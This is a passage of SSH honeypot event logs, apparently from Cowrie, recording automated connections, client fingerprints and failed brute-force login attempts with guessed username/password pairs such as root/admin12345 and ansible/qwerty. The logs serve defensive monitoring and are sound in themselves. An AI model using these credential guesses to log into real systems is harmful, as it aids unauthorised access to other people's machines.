256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:32.694747Z","src_ip":"192.109.200.78","session":"6e8a66ec5688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwerty","message":"login attempt [ansible/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:32.938764Z","src_ip":"192.109.200.78","session":"6e8a66ec5688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:34.022564Z","src_ip":"192.109.200.78","session":"6e8a66ec5688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36886,"dst_ip":"10.17.0.5","dst_port":22,"session":"59ceb6ab1c6c","protocol":"ssh","message":"New connection: 192.109.200.78:36886 (10.17.0.5:22) [session: 59ceb6ab1c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:36.043024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:36.189673Z","src_ip":"192.109.200.78","session":"59ceb6ab1c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:36.192504Z","src_ip":"192.109.200.78","session":"59ceb6ab1c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:36.524881Z","src_ip":"192.109.200.78","session":"59ceb6ab1c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:37.609271Z","src_ip":"192.109.200.78","session":"59ceb6ab1c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45860,"dst_ip":"159.203.135.109","dst_port":22,"session":"45b0520bf707","protocol":"ssh","message":"New connection: 27.71.230.31:45860 (159.203.135.109:22) [session: 45b0520bf707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:38.080649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:39.049423Z","src_ip":"27.71.230.31","session":"45b0520bf707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:39.052530Z","src_ip":"27.71.230.31","session":"45b0520bf707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36896,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0da415de8c4","protocol":"ssh","message":"New connection: 192.109.200.78:36896 (10.17.0.5:22) [session: a0da415de8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:39.680086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:39.683961Z","src_ip":"192.109.200.78","session":"a0da415de8c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:39.765329Z","src_ip":"192.109.200.78","session":"a0da415de8c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"12345678","message":"login attempt [fastuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:40.012729Z","src_ip":"192.109.200.78","session":"a0da415de8c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:41.096504Z","src_ip":"192.109.200.78","session":"a0da415de8c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60062,"dst_ip":"10.17.0.5","dst_port":22,"session":"29f4928d977d","protocol":"ssh","message":"New connection: 192.109.200.78:60062 (10.17.0.5:22) [session: 29f4928d977d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:43.171952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:43.175041Z","src_ip":"192.109.200.78","session":"29f4928d977d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:43.255824Z","src_ip":"192.109.200.78","session":"29f4928d977d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:43.500752Z","src_ip":"192.109.200.78","session":"29f4928d977d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345","message":"login attempt [root/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:44.453849Z","src_ip":"27.71.230.31","session":"45b0520bf707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:44.596046Z","src_ip":"192.109.200.78","session":"29f4928d977d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60064,"dst_ip":"10.17.0.5","dst_port":22,"session":"145e93b89dcf","protocol":"ssh","message":"New connection: 192.109.200.78:60064 (10.17.0.5:22) [session: 145e93b89dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:46.532464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:46.626688Z","src_ip":"192.109.200.78","session":"145e93b89dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:46.630236Z","src_ip":"192.109.200.78","session":"145e93b89dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:46.836659Z","src_ip":"27.71.230.31","session":"45b0520bf707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":57638,"dst_ip":"159.203.135.109","dst_port":22,"session":"327846de5f29","protocol":"ssh","message":"New connection: 46.29.234.126:57638 (159.203.135.109:22) [session: 327846de5f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:46.881695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:46.889301Z","src_ip":"46.29.234.126","session":"327846de5f29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:47.003984Z","src_ip":"46.29.234.126","session":"327846de5f29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:47.069766Z","src_ip":"192.109.200.78","session":"145e93b89dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2005","message":"login attempt [root/2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:47.494366Z","src_ip":"46.29.234.126","session":"327846de5f29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:48.152734Z","src_ip":"192.109.200.78","session":"145e93b89dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:48.610591Z","src_ip":"46.29.234.126","session":"327846de5f29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c540f6236a6","protocol":"ssh","message":"New connection: 192.109.200.78:60070 (10.17.0.5:22) [session: 3c540f6236a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:50.194428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:50.198035Z","src_ip":"192.109.200.78","session":"3c540f6236a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:50.278556Z","src_ip":"192.109.200.78","session":"3c540f6236a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:50.523487Z","src_ip":"192.109.200.78","session":"3c540f6236a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:51.607918Z","src_ip":"192.109.200.78","session":"3c540f6236a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44530,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7cbcb926156","protocol":"ssh","message":"New connection: 192.109.200.78:44530 (10.17.0.5:22) [session: b7cbcb926156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:53.624480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:53.628253Z","src_ip":"192.109.200.78","session":"b7cbcb926156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:53.709404Z","src_ip":"192.109.200.78","session":"b7cbcb926156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:53.953448Z","src_ip":"192.109.200.78","session":"b7cbcb926156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:55.081227Z","src_ip":"192.109.200.78","session":"b7cbcb926156","protocol":"ssh"}
